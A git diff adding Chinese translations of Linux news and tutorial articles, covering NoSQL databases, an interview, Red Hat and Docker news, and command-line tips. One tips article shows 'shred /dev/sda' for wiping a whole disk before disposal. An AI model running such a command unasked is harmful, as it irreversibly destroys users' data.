IO) +- 可使用 Hadoop 的映射和简化(map/reduce)编程模型 +- 所有节点都相似,这点与 Hadop/HBase 架构不同 +- 可靠的跨数据中心备份解决方案 + +**应用场景:** + +- 写操作多于读操作的环境(比如日志系统) +- 如果系统全部由 JAVA 组成(“没人会因为使用了 Apache 许可下的产品而被炒鱿鱼”(此句貌似是网上有人针对“Apache considered harmful”一文所作的回应 —— 译者注)) + +**使用案例:** + +银行、金融机构;写性能强于读性能,所以 Cassandra 天生就是用来作数据分析的。 + +###Hypertable 0.9.6.5版 + +**开发语言:** C++ + +**主要特性:** HBase 的精简版,但比 HBase 更快 + +**许可证:** GPL 2.0 + +**数据传输格式:** Thrift,C++库,或者 HQL shell + +- 采用与 Google BigTable 相似的设计 +- 运行在 Hadoop HDFS 之上 +- 使用自己的“类 SQL”语言 —— HQL +- 可以根据 key 值、单元(cell)进行查找,可以在列簇上查找 +- 查询数据可以指定 key 或者列的范围 +- 由百度公司赞助(百度早在2009年就成为这个项目的赞助商了 —— 好吧译者表示有点大惊小怪了:P) +- 能保留一个值的 N 个历史版本 +- 表在命名空间内定义 +- 使用 Hadoop 的 Map/reduce 模型 + +**应用场景:** + +- 假如你需要一个更好的HBase,就用Hypertable吧 + +**使用案例:** + +与HBase一样,就是搜索引擎被换了下;分析日志数据的系统;适用于浏览大规模二维非关系型数据表。 + +###Accumulo 1.4版 + +**开发语言:** Java 和 C++ + +**主要特性:** 一个有着单元级安全的 BigTable + +**许可证:** Apache + +**数据传输格式:** Thrift + +- 另一个 BigTable 的复制品,也是跑在 Hadoop 的上层 +- 单元级安全保证 +- 允许使用比内存容量更大的数据列 +- 通过 C++ 的 STL 可保持数据从 JAVA 环境的内存映射出来 +- 使用 Hadoop 的 Map/reduce 模型 +- 支持在服务器端编程 + +**应用场景:** + +- HBase的替代品 + +**使用案例:** + +与HBase一样,就是搜索引擎被换了下;分析日志数据的系统;适用于浏览大规模二维非关系型数据表。 + +##特殊用途 + +###Neo4j V1.5M02 版 + +**开发语言:** Java + +**主要特性:** 图形化数据库 + +**许可证:** GPL,AGPL(商业用途) + +**数据传输格式:** HTTP/REST(或内嵌在 Java 中) + +- 可独立存在,或内嵌在 JAVA 的应用中 +- 完全的 ACID 保证(包括正在处理的数据) +- 节点和节点的关系都可以拥有原数据 +- 集成基于“模式匹配”的查询语言(Cypher) +- 支持“Gremlin”图形转化语言 +- 可对节点与节点关系进行索引 +- 良好的自包含网页管理技术 +- 多个算法实现高级文件查找功能 +- 可对 key 与 key 的关系进行索引 +- 优化读性能 +- 在 JAVA API 中实现事务处理 +- 可运行脚本 Groovy 脚本 +- 在商用版本中提供在线备份,高级监控和高可用性功能 + +**应用场景:** + +- 适用于用图形显示复杂的交互型数据。 + +**使用案例:** + +搜寻社交关系网、公共传输链、公路路线图、或网络拓扑结构 + +###ElasticSearch 0.20.1 版 + +**开发语言:** Java + +**主要特性:** 高级搜索 + +**许可证:** Apache + +**数据传输格式:** 通过 HTTP 使用 JSON 进行数据索引(插件:Thrift, memcached) + +- 以 JSON 形式保存数据 +- 提供版本升级功能 +- 有父文档和子文档功能 +- 文档有过期时间 +- 提供复杂多样的查询指令,可使用脚本 +- 支持写操作一致性的三个级别:ONE、QUORUM、ALL +- 支持通过分数排序 +- 支持通过地理位置排序 +- 支持模糊查询(通过近似数据查询等方式实现) +- 支持异步复制 +- 自动升级,也可通过设置脚本升级 +- 可以维持自动的“统计组”(对调试很有帮助) +- 只有一个开发者(kimchy) + +**应用场景:** + +- 当你有可伸缩性很强的项目并且想拥有“高级搜索”功能。 + +**使用案例:** + +可布署一个约会服务,提供不同年龄、不同地理位置、不同品味的客户的交友需求。或者可以布署一个基于多项参数的排行榜。 + +##其他 + +(不怎么有名,但值得在这里介绍一下) + +###Couchbase (ex-Membase) 2.0 版 + +**开发语言:** Erlang 和 C + +**主要特性:** 兼容 Memcache,但数据是持久化的,并且支持集群 + +**许可证:** Apache + +**数据传输格式:** 缓存和扩展(memcached + extensions) + +- 通过 key 访问数据非常快(20万以上IOPS) +- 数据保存在磁盘(不像 Memcache 保存在内存中 —— 译者注) +- 在主主互备中,所有节点数据是一致的 +- 提供类似 Memcache 将数据保存在内存的功能 +- 支持重复数据删除功能 +- 友好的集群管理 Web 界面 +- 支持池和多丛结构的代理(利用 Moxi 项目) +- 支持 Map/reduce 模式 +- 支持跨数据中心备份 + +**应用场景:** + +- 适用于低延迟数据访问系统,高并发和高可用系统。 + +**使用案例:** + +低延迟可用于广告定投;高并发可用于在线游戏(如星佳公司)。 + +###VoltDB 2.8.4.1版 + +**开发语言:** Java + +**主要特性:** 快速的事务处理和数据变更 + +**许可证:** GPL 3 + +**数据传输格式:** 专有方式 + +- 运行在内存的关系型数据库 +- 可以将数据导入到 Hadoop +- 支持 ANSI SQL +- 在 JAVA 环境中保存操作过程 +- 支持跨数据中心备份 + +**应用场景:** + +- 适用于在大量传入数据中保证快速反应能力的场合。 + +**使用案例:** + +销售点数据分析系统;工厂控制系统。 + +###Scalaris 0.5版 + +**开发语言:** Erlang + +**主要特性:** 分布式 P2P 键值存储 + +**许可证:** Apache + +**数据传输和存储的方式:** 自有方式和 基于JSON的远程过程调用协议 + +- 数据保存在内存中(使用 Tokyo Cabinet 作为后台时,数据可以持久化到磁盘中) +- 使用 YAWS 作为 Web 服务器 +- Has transactions (an adapted Paxos commit) +- 支持事务处理(基于 Paxos 提交)(Paxos 是一种基于消息传递模型的一致性算法 —— 译者注) +- 支持分布式数据的一致性写操作 +- 根据 CAP 定理,数据一致性要求高于数据可用性(前提是在一个比较大的网络分区环境下工作)(CAP 定理:数据一致性consistency、数据可用性availability、分隔容忍partition tolerance是分布式计算系统的三个属性,一个分布式计算系统不可能同时满足全部三项) + +**应用场景:** + +- 如果你喜欢 Erlang 并且想要使用 Mnesia 或 DETS 或 ETS,但你需要一个能使用多种语言(并且可扩展性强于 ETS 和 DETS)的技术,那就选它吧。 + +**使用案例:** + +使用基于 Erlang 的系统,但是想通过 Python、Ruby 或 JAVA 访问数据库 + +###Kyoto Tycoon 0.9.56版 + +**开发语言:** C++ + +**主要特性:** 轻量级网络数据库管理系统 + +**许可证:** GPL + +**数据传输和存储的方式:** HTTP (TSV-RPC or REST) + +- 基于 Kyoto Cabinet, 是 Tokyo Cabinet 的成功案例 +- 支持多种存储后端:Hash,树、目录等等(所有概念都是从 Kyoto Cabinet 那里来的) +- Kyoto Cabinet 可以达到每秒100万次插入/查询操作(但是 Tycoon 由于瓶颈问题,性能比 Cabinet 要差点) +- 服务器端支持 Lua 脚本语言 +- 支持 C、JAVA、Python、Ruby、Perl、Lua 等语言 +- 使用访问者模式开发(visitor patten:让开发者能在不修改类层次结构的前提下,定义该类层次结构的操作 —— 不明白就算了,译者也不明白) +- 支持热备、异步备份 +- 支持内存数据库在后端执行快照 +- 自动过期处理(可用来布署一个缓存服务器) + +**应用场景:** + +- 当你想要一个很精准的后端存储算法引擎,并且速度是刚需的时候,玩玩 Kyoto Tycoon 吧。 + +**使用案例:** + +缓存服务器;股价查询系统;数据分析系统;实时数据控制系统;实时交互系统;memcached的替代品。 + +当然,上述系统的特点肯定不止列出来这么点。我只是列出了我认为很关键的信息。另外科技发展迅猛,技术改变得非常快。 + +附:现在下定论比较孰优孰劣还为时过早。上述数据库的版本号以及特性我会一个一个慢慢更新。相信我,这些数据库的特性不会变得很快。 + +--- + +via: http://kkovacs.eu/cassandra-vs-mongodb-vs-couchdb-vs-redis + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[Cassandra]:http://cassandra.apache.org/ +[Mongodb]:http://www.mongodb.org/ +[CouchDB]:http://couchdb.apache.org/ +[Redis]:http://redis.io/ +[Riak]:http://basho.com/riak/ +[Couchbase (ex-Membase)]:http://www.couchbase.org/membase +[Hypertable]:http://hypertable.org/ +[ElasticSearch]:http://www.elasticsearch.org/ +[Accumulo]:http://accumulo.apache.org/ +[VoltDB]:http://voltdb.com/ +[Kyoto Tycoon]:http://fallabs.com/kyototycoon/ +[Scalaris]:https://code.google.com/p/scalaris/ +[Neo4j]:http://neo4j.org/ +[HBase]:http://hbase.apache.org/ + +[1]:http://couchapp.org/ +[2]:http://redis.io/commands diff --git a/published/201310/Open source is brutal- an interview with Google's Chris DiBona.md b/published/201310/Open source is brutal- an interview with Google's Chris DiBona.md new file mode 100644 index 0000000000..c2752987b0 --- /dev/null +++ b/published/201310/Open source is brutal- an interview with Google's Chris DiBona.md @@ -0,0 +1,61 @@ +开源是冷酷无情的:谷歌Chris DiBona访谈 +=============================== + +![img](https://opensource.com/sites/default/files/imagecache/image-full-size/images/law/LAW_imaginationcrucial.png) + +Chris DiBona是谷歌开源总监。他也是开源界杰出的领军人物之一,这还要追溯到他的大学时期,那时他对Linux可谓一见钟情。 + +在今年的 “一切皆开源” 大会上,Christ将会提供谷歌目前的开源软件活动的最新消息以及对过去的回顾,还有Android的起源和现况。 + +我遇到了Christ,我们讨论了他最喜爱的Linux发行版、开源的无情法则以及他对谷歌作为业界领袖应有的责任的看法。 + +以下是访谈详情。 + +###问:对于你加入谷歌并且在开源部门展开工作,有那些方面是我们所不知道的? + +答: + 第一次使用Linux是在上学的时候,由于当时选修了操作系统课程,因此,我需要写一些有关客户端/服务器的东西。出乎意料的是,那时候Sun工作站实验室很热闹,因为公开探讨问题的风气使然,编码味十足,使用的终端跑得相当慢。我在想,瓶颈在哪,不妨就用一直都摆放在家里的一台486-16上试试这个linux到底怎么样。这是我有史以来最棒的一次决定!从此我喜欢上了linux系统。linux太棒了,运行很快,与其他unix系统相比,功能齐全。OS这门课程,我也得了A。 + +###问:下面这个问题的危险程度跟询问你最喜欢的球队一样,你最喜欢哪个linux发行版? + +答: + 哈!如果轻率地回答,那么是Android,因为Android是基于linux内核的,而我对它的使用频度远远超过其他一些东西。尽管通常情况下讨论Android时,多数人都不把它当做一个发行版。我现在正在一个Ubuntu/Debian衍生版本上运行的Chrome浏览器中回复你这个问题的回答,我在谷歌计算引擎上运行的是Debian,在家里则经常用Fedora。出席公共场合的时候,大多数情况下我携带Chromebook,感觉用它最安全。那么最喜欢的就是Android。 + +###问:2004年加入谷歌之前,你在开源和linux领域投入了许多精力,是什么原因促使你加入谷歌? + +答: + 从事了一小段时间咨询方面的工作以后,当我决定开始全职工作,谷歌的offer对我来说最富有吸引力。 成为谷歌开源人、白手起家开始创业的想法深深地吸引着我。我感觉无论过去还是现在,谷歌始终在计算机科学领域做着有趣的事情,而且以它独有的方式吸引着我,这些是其他offer所不具备的。 + +###问:你不但指导各种项目的开发,而且也参与了Google Ventures,为该项目的启动注资,那么你在一个项目中想要寻求什么,是什么让你说出“是的,我就是想帮你”这样的话 ? + +答: + 呃,坦白说,我希望它能够做的有趣。对于Google Ventures,我并不需要过多的深入其中,而开源问题就不同了,有趣而且参与者众多。 + +###问:多年前的一次采访中你曾经说过:“谷歌与开源社区同行。赞助意味着责任,这是相当严肃的一件事情。”谷歌是否打算避免在自己参与的社区中担责,二者之间存在必然联系吗? + +答: + 我想是这样的。我希望谷歌工程师和非谷歌开源界的工程师都能把对方看做计算机科学领域的同侪。我们得意识到,对开源项目的广泛资助预示着责任,比如项目控制,大家都知道,事情就应该这么做,即使真的没什么联系。 + +###问:你曾经称开源是“无情”的,具体是什么意思? + +答: + 呃,我还以为你会问为什么开源可以行得通,什么时候会考虑开源软件工程管理在业内是如何运作,但是你没有。分散的、不同特性的团队在公司里相当难运作,但是在开源领域,可以创作出世界级非常优秀的软件。为什么会这样? + +因为我认为,在开源项目中,你可以选择只和富有成效的人一起工作而忽视其他人。这种行为被理解为非常尖刻和排斥性的。然而实情原本就如此:无情并别排斥那些无所贡献的人。 + +然而这就是为什么项目克隆如此重要。无论出于什么原因,如果一个人被排斥在一个项目之外,那么他们可以克隆该项目然后使该项目朝着一个新方向发展。假如他们的想法及实现优于先前被拒绝加入的项目,那么,好吧,这次克隆成为新的现实,而那些拒绝别的开发者加入的家伙现在则尝到了被拒绝的滋味。 + +所以,我想说,开源世界是一个适者生存、优胜劣汰的残酷机制,但是这样却能生产出高质量的软件产品。诚然,对新手来说比较难上手…… + +###问:14年前,你在O'Reilly出版过一本有关开源的书。这些年开源领域是否了发生大的变化?你认为将来开源模式会取代专有模式吗? + +答: + 开源界确实发生了一些变化,非常显著的一点就是公司里从事开源工作的人数的增长。而且我还觉察到学术界参与开源的人数有所下降,我把它归咎于技术转让专利申请,对代码许可权确实是个障碍。类似的,一些来自大学和公司的开源代码不足以称之为开源,因为围绕着专利要应付相当多的问题。我很想说要不是有专利授权许可,我们应该都持怀疑态度,但是在这个时候说这样的话就有一点走极端了。 + +--- + +via: https://opensource.com/business/13/10/interview-chris-dibona + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[Caroline](https://github.com/carolinewuyan) diff --git a/published/201310/Powerful chess application PyChess 0.12 BETA 4 released with new improvements.md b/published/201310/Powerful chess application PyChess 0.12 BETA 4 released with new improvements.md new file mode 100644 index 0000000000..3b0f92e246 --- /dev/null +++ b/published/201310/Powerful chess application PyChess 0.12 BETA 4 released with new improvements.md @@ -0,0 +1,26 @@ +强大的国际象棋应用PyChess 0.12 BETA 4发布 +================================================================================ +[PyChess][1] 是一个可爱的愉快的国际象棋应用程序,它是一个不错的学习国际象棋的应用。通过你的智力和棋力对抗一个智能的计算机对手。同时用直观的视觉效果和细节揭示它的用户友好界面。 + +PyChess在主视图显示国际象棋相关组件。国际象棋的下棋过程会记录成复盘,包括位置移动的动画,声音特效,实时的移动、提示、注释,提供拖拽/停止的回放。精密的计时器让用户完全沉浸于对弈中。 + +**PyChess 0.12 Anderssen BETA 4** 已经发布,这是第四个测试版本。一系列的测试版本带来了显著改进,[包括][2]新主题、新菜单选项、以及计算机资源优化(消除过高CPU占用)(译者注:译者使用archlinux试用,发现还是很高,结论是原文作者在扯淡)。 + +![](http://iloveubuntu.net/pictures_me/PyChess%20012%20beta%204.png) + +BETA 4带有对额外[FICS][3]变体(免费网络国际象棋服务器)的扩展支持,以及多种修复和改善,进一步加强了这个强大的国际象棋应用。 + +PyChess 0.12 BETA 4 可供下载 [http://pychess.googlecode.com/files/pychess_0.12beta4-1_all.deb][4]。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/powerful-chess-application-pychess-012-beta-4-released-new-improvements + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[flsf](https://github.com/flsf) 校对:[wxy](https://github.com/wxy) + +[1]:http://pychess.org/ +[2]:http://iloveubuntu.net/powerful-chess-game-pychess-012-beta-3-released-numerous-new-features-and-improvements +[3]:http://www.freechess.org/ +[4]:http://pychess.googlecode.com/files/pychess_0.12beta4-1_all.deb diff --git a/published/201310/Quick-n-easy command-line tips.md b/published/201310/Quick-n-easy command-line tips.md new file mode 100644 index 0000000000..53cdfa310d --- /dev/null +++ b/published/201310/Quick-n-easy command-line tips.md @@ -0,0 +1,60 @@ +三个快速便捷的命令行小贴士 +================== + +最近几周里,我总是收到人们询问一些快速零散的问题。有时候一个人是在寻找一个有帮助的建议,或者一个具体的命令,或者一个命令行捷径,以完成一个特定的任务。本篇将介绍最近人们向我提出的三个问题,以及完成这些任务的简单方法。 + +###第一个场景 + +**我们要找到那些在过去的一个月中被改动过的文件,并将他们从当前的位置复制到另一个目录中去。** + +在这种情况下,能否精确的解决取决于你复制文件的时候是否保持了原来的文件树结构,还是你仅仅只是把所有文件全部复制到了一个指定的地方。如果我们只是想把所有的文件保存到一个文件夹中,或许这样做是为了将这些文件归档,那么我们可以使用find这条命令。通过使用find命令,我们能够根据文件被修改的时间查找到他们的位置,然后复制他们到指定的地方。这条命令看起来是这样: + + find Documents -mtime -30 -exec cp "{}" Backup \; + +上面这条命令会在Documents文件夹中查找在过去30天内被修改过的文件。这些文件之后将会被复制到另一个叫Backup的目录中去。**find**命令将会通过调用**cp**命令来执行复制这一操作。通过修改**mtime**这条参数,我们可以查找到最近某个时间内被修改过的文件,在上面这个例子中它被设定为在过去的30天内。 + +更多的时候,我们会想要在把文件复制到目标文件夹后,仍然能够保留源文件夹的目录结构。很多时候,人们都希望两个文件夹的内容同步,然后他们会运行一个脚本来使他们保持一致。这种情况下,我们可能会用到**rsync**这条命令了。这个工具会把新文件、修改过的文件从一个复制到另一个目录中去,同时保持源目录的展示结构: + + rsync -a Documents/ Backup + +上面的例子,它会先找到哪些文件在Documents中和Backup中都存在,以便不再复制这些不必要的文件。 + +###第二个场景 + +**有一个我们都会做的很普遍的工作,就是在一个文本文件中找到一个单词,然后用另一个单词把这个词在文本中的所有实例都替换掉。** + +比如,假设我有一个文档中提到一个人名叫“Becky”,但是我后来决定还是用稍微正式点的称呼“Rebecca”为好。对文件中的这个简单的改动,下面这条命令会起到作用: + + perl -pi -e 's/Becky/Rebecca/' mydocument.txt + +这条微型的Perl脚本会查询文档中所有“Becky”的实例,并且将之改为“Rebecca”。程序首先读取名为mydocument.txt这个要改动的文档,待修改完毕后再保存回去。 + +###第三个场景 + +**一个普遍关注的问题是,在一个硬盘要给别人或者被扔掉之前,需要对其中存储的敏感数据做些什么。** + +有些人会在电脑里保存一些银行的业务数据或者税务信息,那么这些数据最好在你的硬盘被转手到别人之前被彻底清理掉。现在有一些方法和工具可以让你使用。我最喜欢的一个是**shred**这条命令,它不仅能对单一文件进行处理,同样也能对整个设备进行处理。要重写一个文件里面的内容,我们可以这样运行**shred**: + + shred mytaxes.odt + +上面这个例子中,它会移除文件里存的内容,但并不会把文件本身从硬盘中删除掉。如果要清除文件的内容同时删除掉这个文件,我们可以这样运行: + + shred -u mytaxes.odt + +需要强调的一点是,**shred**并不是在所有的文件系统中都能正常运行,尤其是那些带有日志功能的比较新的文件系统。在**shred**的操作手册中写明了哪些文件系统运行这个程序的时候会出问题。当处理敏感数据的时候,最好的方法也许是清除掉整张硬盘。**shred**同样也能办到。下面这个例子中,显示了如何移除掉我们电脑中第一块硬盘内的所有数据。使用这条命令一定要非常小心: + + shred /dev/sda + +--- + + +via: http://distrowatch.com/weekly.php?issue=20130923 + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[markvv][] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[markvv]:http://linux.cn/space/markvv +[wxy]:http://linux.cn/space/wxy diff --git a/published/201310/Red Hat Enterprise Linux 6.5 Beta Can Remotely Control Windows 8.md b/published/201310/Red Hat Enterprise Linux 6.5 Beta Can Remotely Control Windows 8.md new file mode 100644 index 0000000000..b86348e160 --- /dev/null +++ b/published/201310/Red Hat Enterprise Linux 6.5 Beta Can Remotely Control Windows 8.md @@ -0,0 +1,32 @@ +RHEL6.5 Beta版支持远程控制Windows 8系统 +=================================== + +**Red Hat已经宣布向所有客户和合作伙伴发布RHEL6.5 Beta版本** + +RHEL6.5包含对已有特性的各种升级,以及在订阅管理服务(Subscription Management Services)、可扩展性(scalability)、网络、存储、虚拟化、安全等方面提供新的功能。 + +以下翻译自[官方文档][1]中的一段: + +> “为了跟上企业级架构的要求,最新版本提升了其可扩展性和易管理性的能力,以满足企业在横向扩展(build-out)的需求和管理庞大复杂的IT环境的需求。” + +> “举个例子,RHEL6.5通过优化SAP的配置,从而简化了对关键性业务SAP的操作。” + +官方文档介绍,RHEL6.5完整集成了订阅管理服务,此服务在管理本地系统及其订阅服务方面非常有用。 + +Red Hat的开发人员介绍,用于记录内核崩溃信息的Kernel dump文件最大可以达到几个TB。用新的LZO压缩算法,RHEL能更快地产生Kernel dump文件。 + +最NB的功能之一是:RHEL6.5可以远程控制Win7/Win8/Win Server 2012,使用的是RDP(Remote Desktop Protocol,远程桌面协议)。 + +LibreOffice升级到4.0分支版本。众所周知,RHEL吸收的产品无一不是经过开发人员慎之又慎的挑选,确保其稳定性是长时间考验过的。基于这点,RHEL6.5吸收LibreOffice4.0不能不说是一个惊喜。 + +完整的release note可查看官方文档。 + +--- + +via: http://news.softpedia.com/news/Red-Hat-Enterprise-Linux-6-5-Beta-Can-Control-Windows-8-Installations-389761.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[chenjintao](https://github.com/chenjintao) 校对:[wxy](https://github.com/wxy) + +[1]:http://www.redhat.com/about/news/archive/2013/10/latest-beta-release-of-red-hat-enterprise-linux-6-now-available \ No newline at end of file diff --git a/published/201310/Red Hat Expands Virtualization Options With Open-Source Docker.md b/published/201310/Red Hat Expands Virtualization Options With Open-Source Docker.md new file mode 100644 index 0000000000..ddb4a780a2 --- /dev/null +++ b/published/201310/Red Hat Expands Virtualization Options With Open-Source Docker.md @@ -0,0 +1,52 @@ + +开源项目Docker,Red Hat新的虚拟化选择 +============================================================== + +![redhat](http://www.eweek.com/imagesvr_ce/1773/290x195redhat1.jpg) + +**Red Hat与开源项目Docker容器技术开发人员组成合作团队,提供一个虚拟机管理器技术(hypervisors)的替代方案。** + +Linux发行商Red Hat正与虚拟技术公司dotCloud合作,为Fedora社区Linux项目开发一种新型开源容器技术,名为"[Docker][1]"。 + +当今Linux上的虚拟技术主要包括两类,一类是管理器技术(hypervisors),例如KVM、Xen,另一类为容器技术(container),例如 [Linux LXC][2]项目(LinuX Containers)。Fedora项目领袖Robyn Bergeron向eWeek介绍说,Red Hat已经将容器技术作为OpenShift PaaS解决方案的一部分,为用户提供应用分离解决方案。 + +Bergeron补充说尽管Docker与容器类型类似,但是Docker并非Red Hat目前正在使用的容器技术。他说,dotCloud和Red Hat两家都希望Docker能在Red Hat家族的Linux系统中运行。双方的合作目前集中在将Docker作为Fedora协同开源开发环境的一部分。 + +dotCloud创始人同时也是Docker项目发起人Solomon Hykes说,Docker并不是为了用来替代LXC。 + +“Docker底层使用了LXC,并整合了其它技术”,Hykes说,“Docker是现有的低层面技术的一个集合,但并非只是简单的将它们叠加在一起。” + +Hykes介绍,他们的目标是为[DevOps][3]世界带来一种开发者和运维人员都能明白并使用的技术。一个Docker容器包含了运行一个特定进程所必需的所有的二进制文件、库文件和配置文件。 + +他还说,“我们希望将容器用于应用程序部署,而不只是将其看做微型服务器。” + +###容器技术 vs. 管理器技术 + +在企业级服务领域,许多系统管理员如今都熟悉虚拟机管理器技术,例如VMware ESX、Xen和KVM。Hykes认为容器技术正成为管理器技术的互补。 + +“管理器技术一直以来的处境是,它确实是一门伟大的技术,但是行业内却把它当做一把大斧头并试图用它来完成所有的木匠活”,Hykes认为虚拟机管理器作为一种服务类型,相当于提供了一台裸机的硬件,而与之相对的,容器的工作就是为这台主机提供一系列软件。 + +###Red Hat与Docker + +作为Red Hat的开发合作伙伴,Hykes说他们的首要任务是确保Docker能够在Red Hat家族的Linux系统上流畅运行。他承认目前Docker 0.6版在包括Fedora之内的Red Hat家族的Linux系统上运行时还有一些问题。下一个发布版本0.7版将针对这些问题重点改进,确保Red Hat家族Linux系统成为Docker部署环境的“一等公民”。 + +迄今为止,dotCloud已经为它的Docker项目筹集到了1000万美元风投资金。Hykes补充说Docker目前还并没有一款成形的商用产品,他们的首要目标是建立Docker社区生态环境与基础用户群。 + +“dotCloud的第一阶段是确保Docker足够的普及程度,同时取得IT界大客户的青睐,”Hykes说,“能够与Red Hat合作对我们来说是一个巨大阶段性胜利。” + +--- + +via: http://www.eweek.com/developer/red-hat-expands-virtualization-options-with-open-source-docker.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Mr小眼儿] 校对:[wxy][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Mr小眼儿]:http://linux.cn/space/14801 +[wxy]:http://linux.cn/space/wxy + +[1]:https://www.docker.io/ +[2]:http://en.wikipedia.org/wiki/LXC +[3]:http://en.wikipedia.org/wiki/DevOps diff --git a/published/201310/Red Hat--Big bucks, big Linux.md b/published/201310/Red Hat--Big bucks, big Linux.md new file mode 100644 index 0000000000..df1ceed750 --- /dev/null +++ b/published/201310/Red Hat--Big bucks, big Linux.md @@ -0,0 +1,40 @@ +红帽:干的好,挣的多! +================= + +摘要:红帽的第二季度无论以哪一个标准来衡量都是另一个巨大的成功。 + +谁说不能从linux中赚钱?[红帽][1]这方面就获得了巨大的成功! + +2013年第二季度,红帽该季度的总收入为3.74亿美元,与2012年第二季度同比增长16%。该季度订阅营收为3.27亿美元,同比增长17%。 + +红帽总裁兼首席执行官Jim Whitehurst在财报会议上表示:“我们是基于开源技术创新市场的领导者,正在推动着数据中心向一个开放的,混合云基础设施转变。” + +除了其旗舰产品[红帽企业版linux(RHEL)][2],Whitehurst 也介绍了红帽公司近期推出的laaS(基础设施即服务)---[RHEL OpenStack][3], 将带来更美好的前景。 + +Whitehurst说:“OpenStack与我们的PaaS(平台即服务)、开放的软件定义存储、和云管理解决方案结合,为我们的客户创建了一条向云计算迁移的路线。” + +红帽第二季度GAAP(公认会计原则)营业收入为5600万美元,较去年同期相比增长11%。考虑到股票补偿,摊销无形资产及设施出口费用,第二季度的非GAAP营业收入为9400万美元,较去年同比增长19%。对于第二季度,GAAP运营利率为14.8%,非GAAP运营利润率为25.2%。 + +本季度的净收入为4100万美元或摊薄后每股0.21美元,而去年同期为3500万美元或每股摊薄收益0.18美元。在进行股票补偿,无形资产和设备退出费用摊销调整后,本季度非 GAAP 净收入为68美元,或每股摊薄收益0.35美元,而去年同期为55万美元,或每股摊薄收益0.28美元。 + +这意味着 [红帽的每股收益(EPS) 0.35 美元要比分析师预计的要高2分钱][4]. + +Charlie Peters,红帽公司执行副总裁兼首席财务官在一份声明中表示,“从多个财务指标来看,包括营业收入,非GAAP营业收入和经营性现金流等,我们都实现了中等或高速的增长。这个增长尤其是由强大的订阅营收驱动的,它增长了17%。” + +--- + +via: http://www.zdnet.com/red-hat-big-bucks-big-linux-7000021061/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[神之一手][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[神之一手]:http://linux.cn/space/14789 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.redhat.com/ +[2]:http://www.redhat.com/products/enterprise-linux +[3]:http://www.zdnet.com/red-hat-bets-its-cloud-future-on-openstack-7000016811/ +[4]:http://www.streetinsider.com/Earnings/Red+Hat,+Inc.+(RHT)+Tops+Q2+EPS+by+2c/8712705.html diff --git a/published/201310/Salvation Prophecy Military Space Epic Arrives on Steam for Linux.md b/published/201310/Salvation Prophecy Military Space Epic Arrives on Steam for Linux.md new file mode 100644 index 0000000000..d4b82de72c --- /dev/null +++ b/published/201310/Salvation Prophecy Military Space Epic Arrives on Steam for Linux.md @@ -0,0 +1,32 @@ +太空军事题材巨作《救赎预言》登陆Linux Steam游戏平台 +================================================================================ + +![img](http://i1-news.softpedia-static.com/images/news-700/Salvation-Prophecy-Military-Space-Epic-Arrives-on-Steam-for-Linux.jpg) + +**由Firedance Games公司在Steam平台开发并发布的游戏《救赎预言(Salvation Prophecy)》,现已在Linux平台推出。** + +根据开发人员介绍,《救赎预言(Salvation Prophecy)》是一款太空军事题材游戏,玩家不仅可以扮演战斗机驾驶员在太空中战斗,还可以在行星表面以FPS模式对抗。 + +官方的[产品介绍][1]为“太空舰队碰撞冲突引发激烈的战斗,入侵者与强化的敌方殖民地交战。然而,最大的危险是世界即将毁灭的世界末日预言。你必须寻找出来自遥远外星世界的奥秘, 并掌握远古的力量来抵抗即将到来的风暴。” + +Linux系统最低配置要求: + +- 系统:Ubuntu 12.04 或者 12.10 版本 +- 处理器:双核处理器 +- 内存:2GB内存 +- 显卡:NVIDIA GeForce 8600 GT、 ATI Radeon HD 2600 或者更好 +- 硬盘:至少1GB可用空间 + +更多详情请关注Steam[官方网站][2]。 + +--- + +via: http://news.softpedia.com/news/Salvation-Prophecy-Military-Space-Epic-Arrives-on-Steam-for-Linux-390849.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vic___](https://github.com/Vic020) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:http://store.steampowered.com/news/11613/ +[2]:http://store.steampowered.com/app/248450/ + diff --git "a/published/201310/Semplice 5 review \342\200\223 High Hopes.md" "b/published/201310/Semplice 5 review \342\200\223 High Hopes.md" new file mode 100644 index 0000000000..6fbeb6fbb4 --- /dev/null +++ "b/published/201310/Semplice 5 review \342\200\223 High Hopes.md" @@ -0,0 +1,106 @@ +寄予厚望——Semplice 5抢先看 +======================= + +有时,我会尝试一个看起来还不错的桌面发行版,因为我想看看它到底有多好,能否为Linux桌面世界带来些许新鲜空气。所以,这次我将目标瞄向了Semplice,一个基于Debian不稳定分支的桌面发行版。 + +据说它的名字源于“simple”,开发者们将其解释演绎为“KISS原则(KISS principle)”。(译者注,KISS原则,Keep It Simple, Stupid,直译为“保持简单、愚蠢”,你可以理解为“简约不简单”,囧) + +当第一次面对以KISS原则设计的发行版时,我并没有感到太意外,因为它常常就意味着一个“皮包骨头系统”,用户得亲自矫正几乎每一个零件,才能让这种系统勉强工作。 + +所以,在本次短暂的“抢先看”中,我将带大家一起重点测试Semplice 5的安装过程,看看它是否值得我向我的新手用户读者们推荐,(本次测试使用2013年9月8日发布的最新版本)。 + +闲话少叙,开整! + 